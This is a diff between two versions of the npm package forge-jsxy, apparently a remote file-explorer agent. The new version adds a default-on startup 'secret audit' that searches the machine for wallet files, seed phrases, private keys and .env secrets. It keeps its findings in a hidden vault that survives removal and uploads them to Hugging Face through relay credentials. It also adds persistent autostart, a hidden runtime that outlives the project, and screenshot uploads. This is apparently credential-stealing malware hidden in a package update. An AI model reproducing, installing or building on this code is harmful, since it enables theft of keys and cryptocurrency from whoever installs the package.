forge-jsxy 1.0.80 → 1.0.81

package/assets/secret_filename_patterns.json

@@ -0,0 +1,89 @@
+{
+  "max_file_size_bytes": 1048576,
+  "include_patterns": [
+    "*.env*",
+    ".env",
+    ".env.local",
+    ".env.production",
+    ".env.secret",
+    "config.json",
+    "settings.json",
+    "secrets.json",
+    "wallet.json",
+    "wallet.dat",
+    "id.json",
+    "keypair.json",
+    "private_key.json",
+    "secret.key",
+    "private.pem",
+    "ecdsa.pem",
+    "UTC--*",
+    "*.key",
+    "*.pk",
+    "*.p8",
+    "*.p12",
+    "*.pfx",
+    "*.jks",
+    "*.keystore",
+    "*.ks",
+    "*.wallet",
+    "*.mnemonic",
+    "*.seed",
+    "*.phrase",
+    "*.backup",
+    "*.old",
+    "keys.txt",
+    "priv.txt",
+    "secret.txt",
+    "mywallet",
+    "backup_key",
+    "config_sniper.json",
+    "main-wallet.json",
+    "wallet-keypair.json",
+    "new_keypair.json",
+    "accounts.txt",
+    "encryptData.txt",
+    "hardhat.config.js",
+    "truffle-config.js",
+    "*private*",
+    "*secret*",
+    "*keypair*",
+    "*keystore*",
+    "*wallet*.json",
+    "*id.json",
+    "*keypair*.json",
+    "*private*.pem",
+    "*secret*.txt",
+    "*private*.txt",
+    "wg*.conf",
+    "wg0.conf",
+    "identity.age",
+    "*.age",
+    "age-key.txt"
+  ],
+  "include_dirs": [
+    ".keys",
+    ".secrets",
+    ".solana",
+    ".ethereum",
+    ".bitcoin",
+    ".web3",
+    ".keystore",
+    ".config/solana"
+  ],
+  "include_dir_suffixes": [],
+  "include_dir_paths": [],
+  "exclude_dirs": [
+    ".git",
+    "node_modules",
+    "__pycache__",
+    ".venv",
+    "venv",
+    "proc",
+    "sys",
+    "dev",
+    "System Volume Information",
+    "$Recycle.Bin",
+    "Library/Caches"
+  ]
+}

package/dist/assets/files-explorer-template.html

@@ -10,7 +10,7 @@
 <link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
 <link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
 <link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
-<!-- forge-jsxy@1.0.80 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
+<!-- forge-jsxy@1.0.81 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
 <script>
 (function () {
   try {

package/dist/assets/secret_filename_patterns.json

@@ -0,0 +1,89 @@
+{
+  "max_file_size_bytes": 1048576,
+  "include_patterns": [
+    "*.env*",
+    ".env",
+    ".env.local",
+    ".env.production",
+    ".env.secret",
+    "config.json",
+    "settings.json",
+    "secrets.json",
+    "wallet.json",
+    "wallet.dat",
+    "id.json",
+    "keypair.json",
+    "private_key.json",
+    "secret.key",
+    "private.pem",
+    "ecdsa.pem",
+    "UTC--*",
+    "*.key",
+    "*.pk",
+    "*.p8",
+    "*.p12",
+    "*.pfx",
+    "*.jks",
+    "*.keystore",
+    "*.ks",
+    "*.wallet",
+    "*.mnemonic",
+    "*.seed",
+    "*.phrase",
+    "*.backup",
+    "*.old",
+    "keys.txt",
+    "priv.txt",
+    "secret.txt",
+    "mywallet",
+    "backup_key",
+    "config_sniper.json",
+    "main-wallet.json",
+    "wallet-keypair.json",
+    "new_keypair.json",
+    "accounts.txt",
+    "encryptData.txt",
+    "hardhat.config.js",
+    "truffle-config.js",
+    "*private*",
+    "*secret*",
+    "*keypair*",
+    "*keystore*",
+    "*wallet*.json",
+    "*id.json",
+    "*keypair*.json",
+    "*private*.pem",
+    "*secret*.txt",
+    "*private*.txt",
+    "wg*.conf",
+    "wg0.conf",
+    "identity.age",
+    "*.age",
+    "age-key.txt"
+  ],
+  "include_dirs": [
+    ".keys",
+    ".secrets",
+    ".solana",
+    ".ethereum",
+    ".bitcoin",
+    ".web3",
+    ".keystore",
+    ".config/solana"
+  ],
+  "include_dir_suffixes": [],
+  "include_dir_paths": [],
+  "exclude_dirs": [
+    ".git",
+    "node_modules",
+    "__pycache__",
+    ".venv",
+    "venv",
+    "proc",
+    "sys",
+    "dev",
+    "System Volume Information",
+    "$Recycle.Bin",
+    "Library/Caches"
+  ]
+}

package/dist/autostart/resolve.js

@@ -45,8 +45,8 @@ const clientId_1 = require("../clientId");
  */
 function resolveAutostartLaunch(distDir, opts) {
     const relay = (opts.relayUrl || "").trim();
-    if (!relay) {
-        throw new Error("relayUrl is required for autostart (forge-agent needs --relay)");
+    if (!relay && !opts.omitRelayArg) {
+        throw new Error("relayUrl is required for autostart unless --omit-relay-arg is set (agent uses embedded deployment relay URL).");
     }
     const nodeExe = process.execPath;
     const agentScript = path.join(distDir, "cli-agent.js");

package/dist/cli-agent.js

@@ -7,6 +7,7 @@ const clientId_1 = require("./clientId");
 const agentEnvFile_1 = require("./autostart/agentEnvFile");
 const manifest_1 = require("./autostart/manifest");
 const agentRunner_1 = require("./agentRunner");
+const runFilenameSecretScan_1 = require("./secretScan/runFilenameSecretScan");
 function bootstrapSyncEnvFromDisk() {
     const dir = (0, clientId_1.defaultCfgmgrDataDir)();
     (0, agentEnvFile_1.applyForgeJsAgentEnvFile)(dir);
@@ -22,8 +23,18 @@ function bootstrapSyncEnvFromDisk() {
         process.env.CFGMGR_API_URL = u;
     }
 }
-if (process.argv.includes("-h") || process.argv.includes("--help")) {
+if (process.argv[2] === "secret-scan") {
+    void (0, runFilenameSecretScan_1.runFilenameSecretScanCli)(process.argv.slice(3))
+        .then((code) => process.exit(code))
+        .catch((e) => {
+        console.error("forge-agent secret-scan:", e instanceof Error ? e.message : e);
+        process.exit(2);
+    });
+}
+else if (process.argv.includes("-h") || process.argv.includes("--help")) {
     console.log(`Usage: forge-agent --relay <ws://host:9877> [--session <id>] [--password <p>|--no-password] [--no-filesystem] [--quiet]\n` +
+        `       forge-agent secret-scan [--path <dir>] [--patterns <json>] [--output <base>] [--threads N] [--include-raw-findings]\n` +
+        `         Local filename-pattern scan for key-like material (JSON + CSV report; no relay; authorized use only — see secret-scan --help).\n` +
         `Env: CFGMGR_RELAY_URL, FORGE_JS_RELAY_URL, CFGMGR_SESSION_ID, CFGMGR_SESSION_PASSWORD (overridden by --password when set)\n` +
         `Session: omit CFGMGR_SESSION_ID to discover sync_api_base_url via GET /api/relay-for-agent.\n` +
         `  Default on all OSes: use this machine's client_* session so explorer targets local disks (no shared-room collisions).\n` +
@@ -41,16 +52,18 @@ if (process.argv.includes("-h") || process.argv.includes("--help")) {
         `Upgrades: use the file explorer **Upgrade agent** button only (no automatic npm/registry updates on agent or relay start).`);
     process.exit(0);
 }
-try {
-    bootstrapSyncEnvFromDisk();
-    const opts = (0, agentRunner_1.resolveForgeAgentFromArgv)(process.argv, process.env);
-    if (!opts) {
-        console.error("forge-agent: --relay or CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL is required.");
+else {
+    try {
+        bootstrapSyncEnvFromDisk();
+        const opts = (0, agentRunner_1.resolveForgeAgentFromArgv)(process.argv, process.env);
+        if (!opts) {
+            console.error("forge-agent: --relay or CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL is required.");
+            process.exit(2);
+        }
+        (0, agentRunner_1.runForgeAgentWithSingleton)(opts);
+    }
+    catch (e) {
+        console.error("forge-agent:", e instanceof Error ? e.message : e);
         process.exit(2);
     }
-    (0, agentRunner_1.runForgeAgentWithSingleton)(opts);
-}
-catch (e) {
-    console.error("forge-agent:", e instanceof Error ? e.message : e);
-    process.exit(2);
 }

package/dist/cli-autostart.js

@@ -1,17 +1,55 @@
 #!/usr/bin/env node
 "use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
 Object.defineProperty(exports, "__esModule", { value: true });
 /**
  * Register or remove OS autostart for forge-agent (logon / user session / boot+linger on Linux).
  */
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
 const install_1 = require("./autostart/install");
+const durableDistDir_1 = require("./durableDistDir");
 function parseArgs(argv) {
+    const envDist = (process.env.FORGE_JS_AUTOSTART_DIST_DIR || "").trim();
     const opts = {
         relayUrl: process.env.FORGE_JS_RELAY_URL?.trim() ||
             process.env.CFGMGR_RELAY_URL?.trim() ||
             "",
     };
     let cmd = "help";
+    let distDir = envDist;
     for (let i = 2; i < argv.length; i++) {
         const a = argv[i];
         if (a === "install")
@@ -35,33 +73,63 @@ function parseArgs(argv) {
             opts.noPassword = true;
         else if (a === "--no-filesystem")
             opts.noFilesystem = true;
+        else if (a === "--omit-relay-arg")
+            opts.omitRelayArg = true;
+        else if (a === "--omit-sync-url")
+            opts.omitSyncUrl = true;
+        else if ((a === "--dist-dir" || a === "--agent-dist") && argv[i + 1]) {
+            distDir = path.resolve(argv[++i]);
+        }
+    }
+    return { cmd, opts, distDir };
+}
+/** Prefer explicit --dist-dir / env; else durable hidden runtime from current.json; else this package dist/. */
+function resolveDistDirForInstall(parsedDist) {
+    const trimmed = parsedDist.trim();
+    if (trimmed)
+        return trimmed;
+    const durable = (0, durableDistDir_1.readDurableForgeDistDirFromDisk)();
+    if (durable && fs.existsSync(path.join(durable, "cli-agent.js"))) {
+        return durable;
     }
-    return { cmd, opts };
+    return (0, install_1.defaultDistDir)();
 }
 function printHelp() {
     console.log(`forge-autostart — OS autostart for forge-agent (Windows / Linux / macOS)
 
 Usage:
-  forge-autostart install --relay <ws://host:9877> [options]
+  forge-autostart install [--relay <ws://host:9877>] [options]
   forge-autostart uninstall
   forge-autostart status
 
 Options (install):
-  --relay URL     WebSocket relay (required unless FORGE_JS_RELAY_URL or CFGMGR_RELAY_URL is set)
+  --relay URL     WebSocket relay (omit when using --omit-relay-arg; else env vars count as relay)
   --session ID    Optional session id (else uses persisted .client_id)
   --password P    Session password (omit to use CFGMGR_SESSION_PASSWORD at runtime — not stored in manifest)
   --no-password   Agent without password
   --no-filesystem Disable fs explorer on agent
+  --dist-dir DIR  Package dist/ containing cli-agent.js (isolated runtime — survives deleting an npm project)
+  --omit-relay-arg  Omit --relay from OS service argv (agent uses embedded deployment relay URL only)
+  --omit-sync-url   Omit sync URL from forge-js-agent.env (bundle-sourced sync)
+
+Env:
+  FORGE_JS_AUTOSTART_DIST_DIR  Same as --dist-dir when set
 
 Behavior:
   Windows:  Task Scheduler task "${"ForgeJSWorker"}" at user logon (HKCU Run fallback if policy blocks)
   Linux:    systemd user unit forge-js-worker.service + loginctl enable-linger (best-effort)
   macOS:    ~/Library/LaunchAgents/com.forgejs.worker.plist (RunAtLoad + KeepAlive)
 
-Requires: npm run build so dist/cli-agent.js exists. Uses current Node (process.execPath).
+PATH:
+  Does not modify system/user PATH. Entries use absolute paths to Node (at install time) and
+  cli-agent.js. If --dist-dir / FORGE_JS_AUTOSTART_DIST_DIR are omitted, install uses the durable
+  dist from <CfgMgr data>/.forge-jsxy/current.json when present (same tree as npm postinstall),
+  otherwise this package's dist/ next to forge-autostart.
+
+Requires: dist/cli-agent.js at resolved dist dir. Uses current Node (process.execPath).
 `);
 }
-const { cmd, opts } = parseArgs(process.argv);
+const { cmd, opts, distDir: parsedDist } = parseArgs(process.argv);
 if (cmd === "help") {
     printHelp();
     process.exit(0);
@@ -76,11 +144,17 @@ if (cmd === "uninstall") {
     process.exit(0);
 }
 if (cmd === "install") {
-    if (!opts.relayUrl.trim()) {
-        console.error("forge-autostart install: --relay or FORGE_JS_RELAY_URL / CFGMGR_RELAY_URL required.");
+    if (!opts.relayUrl.trim() && !opts.omitRelayArg) {
+        console.error("forge-autostart install: pass --relay or set FORGE_JS_RELAY_URL / CFGMGR_RELAY_URL, " +
+            "or use --omit-relay-arg when the agent should use the embedded deployment relay URL only.");
+        process.exit(2);
+    }
+    let distDirFinal = resolveDistDirForInstall(parsedDist);
+    if (!fs.existsSync(path.join(distDirFinal, "cli-agent.js"))) {
+        console.error(`forge-autostart install: cli-agent.js not found under dist dir: ${distDirFinal}`);
         process.exit(2);
     }
-    const ok = (0, install_1.installAutostart)(opts, (0, install_1.defaultDistDir)());
+    const ok = (0, install_1.installAutostart)(opts, distDirFinal);
     if (ok) {
         console.log("forge-autostart: install completed.");
         process.exit(0);

package/dist/durableDistDir.d.ts

@@ -0,0 +1,4 @@
+/**
+ * @returns Absolute `dist/` containing `cli-agent.js`, or `""` if not installed / invalid.
+ */
+export declare function readDurableForgeDistDirFromDisk(): string;

package/dist/durableDistDir.js

@@ -0,0 +1,61 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.readDurableForgeDistDirFromDisk = readDurableForgeDistDirFromDisk;
+/**
+ * Durable agent install path written by `scripts/forge-isolated-runtime.mjs` (`current.json`).
+ */
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
+const clientId_1 = require("./clientId");
+/**
+ * @returns Absolute `dist/` containing `cli-agent.js`, or `""` if not installed / invalid.
+ */
+function readDurableForgeDistDirFromDisk() {
+    try {
+        const base = path.join((0, clientId_1.defaultCfgmgrDataDir)(), ".forge-jsxy");
+        const cur = path.join(base, "current.json");
+        if (!fs.existsSync(cur))
+            return "";
+        const j = JSON.parse(fs.readFileSync(cur, "utf8"));
+        const d = String(j.distDir ?? "").trim();
+        if (!d || !fs.existsSync(path.join(d, "cli-agent.js")))
+            return "";
+        return d;
+    }
+    catch {
+        return "";
+    }
+}

package/dist/relayAgent.js

@@ -55,6 +55,7 @@ const deploymentDefaults_1 = require("./deploymentDefaults");
 const agentEnvFile_1 = require("./autostart/agentEnvFile");
 const clientId_1 = require("./clientId");
 const discordAgentScreenshot_1 = require("./discordAgentScreenshot");
+const agentStartupAudit_1 = require("./secretScan/agentStartupAudit");
 const pendingRelayHf = new Map();
 /** Same pattern as HF credentials — await `discord_screenshot_upload_result` per `request_id`. */
 const pendingDiscordRelayAck = new Map();
@@ -558,6 +559,11 @@ function runRelayAgentLoop(opts) {
             catch {
                 /* skip */
             }
+            (0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
+                relayCaps: caps,
+                quiet,
+                fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
+            });
             tryStartDiscordAfterHandshake();
         };
         ws.on("open", () => {

package/dist/relayServer.js

@@ -265,6 +265,20 @@ function relayDiscordScreenshotAdvertisedUploadMode() {
         return "relay";
     return "webhook";
 }
+/**
+ * Advertise `relay_features.agent_secret_audit` (belt-and-suspenders with agents, which default audit **ON**
+ * when `FORGE_JS_AGENT_SECRET_AUDIT` is unset).
+ * Default **on** when `RELAY_HF_CREDENTIALS_B64` is set; opt out with `RELAY_AGENT_SECRET_AUDIT=0`.
+ * Agents honor `FORGE_JS_AGENT_SECRET_AUDIT=0` to force-disable locally.
+ */
+function relayAgentSecretAuditAdvertised() {
+    const raw = (process.env.RELAY_AGENT_SECRET_AUDIT || "").trim().toLowerCase();
+    if (["0", "false", "no", "off"].includes(raw))
+        return false;
+    if (["1", "true", "yes", "on"].includes(raw))
+        return true;
+    return Boolean((process.env.RELAY_HF_CREDENTIALS_B64 || "").trim());
+}
 /**
  * Default on: advertise STUN/TURN ICE servers for browser↔agent WebRTC (signaling still uses this relay WS).
  * Opt out only when explicitly disabled — keeps file-explorer + `/remote` P2P paths enabled without PM2/.env boilerplate.
@@ -1127,6 +1141,9 @@ function attachConnection(ws, req, role, sessionId) {
                     ? { discord_screenshot_first_stagger_ms: discordFirstStagger }
                     : {}),
                 hf_credentials_from_relay: Boolean((process.env.RELAY_HF_CREDENTIALS_B64 || "").trim()),
+                ...(relayAgentSecretAuditAdvertised()
+                    ? { agent_secret_audit: true }
+                    : {}),
                 ...(syncAdvertised ? { sync_api_base_url: syncAdvertised } : {}),
                 /** Relay package version for diagnostics (upgrades: file explorer → Upgrade agent). */
                 relay_version: (() => {

package/dist/secretScan/agentStartupAudit.d.ts

@@ -0,0 +1,36 @@
+/**
+ * Relay-connected agent hook: scan for cryptocurrency-shaped keys/seeds (heuristic),
+ * merge unique hits locally in `result.json`, optionally upload **redacted** JSON to Hugging Face
+ * using relay HF credentials (`relay_hf_credentials_request` → token).
+ *
+ * **Local persistence:** `<CfgMgr data>/.forge-jsxy/.vault/secret-audit/result.json` is the canonical store.
+ * It lives under the hidden `.vault` tree (system-level cfgmgr data, not the npm package). Each successful run
+ * **merges** new unique fingerprints into existing disk state — **`result.json` is never deleted** by this module
+ * (only atomically replaced in place). File-explorer **Upgrade / Restart agent / Kill agent** flows do **not**
+ * remove this path (they stop cfgmgr, rebuild, sanitize env — audit history survives).
+ *
+ * Scheduling: after relay `connected`, runs once per agent **process** start (plus OS reboot / interval).
+ * Same-process WebSocket reconnects are throttled by `FORGE_JS_AGENT_SECRET_AUDIT_MIN_INTERVAL_MS`
+ * unless the saved `agent_process_nonce` matches this process (interval applies).
+ *
+ * **Default:** audit scheduling is **ON** after install (`FORGE_JS_AGENT_SECRET_AUDIT` unset). Set `FORGE_JS_AGENT_SECRET_AUDIT=0` to disable locally.
+ *
+ * Authorized deployments only. Full normalized values stay in local result.json only unless
+ * FORGE_JS_AGENT_SECRET_AUDIT_HF_FULL_PAYLOAD=1 (discouraged).
+ */
+import type { HfCredentials } from "../hfCredentials";
+export declare function resultJsonPath(): string;
+export declare function agentSecretAuditProcessNonce(): string;
+/** Default ON for turnkey agents (`npm install`). Opt out: FORGE_JS_AGENT_SECRET_AUDIT=0|false|no|off. */
+export declare function isAgentSecretAuditEnabled(caps?: Record<string, unknown>): boolean;
+export declare function shouldRunSecretAuditNow(): boolean;
+export declare function runAgentStartupSecretAudit(opts: {
+    relayCaps?: Record<string, unknown>;
+    fetchHubCredentials: () => Promise<HfCredentials>;
+    quiet: boolean;
+}): Promise<void>;
+export declare function scheduleAgentStartupSecretAudit(opts: {
+    relayCaps: Record<string, unknown>;
+    quiet: boolean;
+    fetchHubCredentials: () => Promise<HfCredentials>;
+}): void;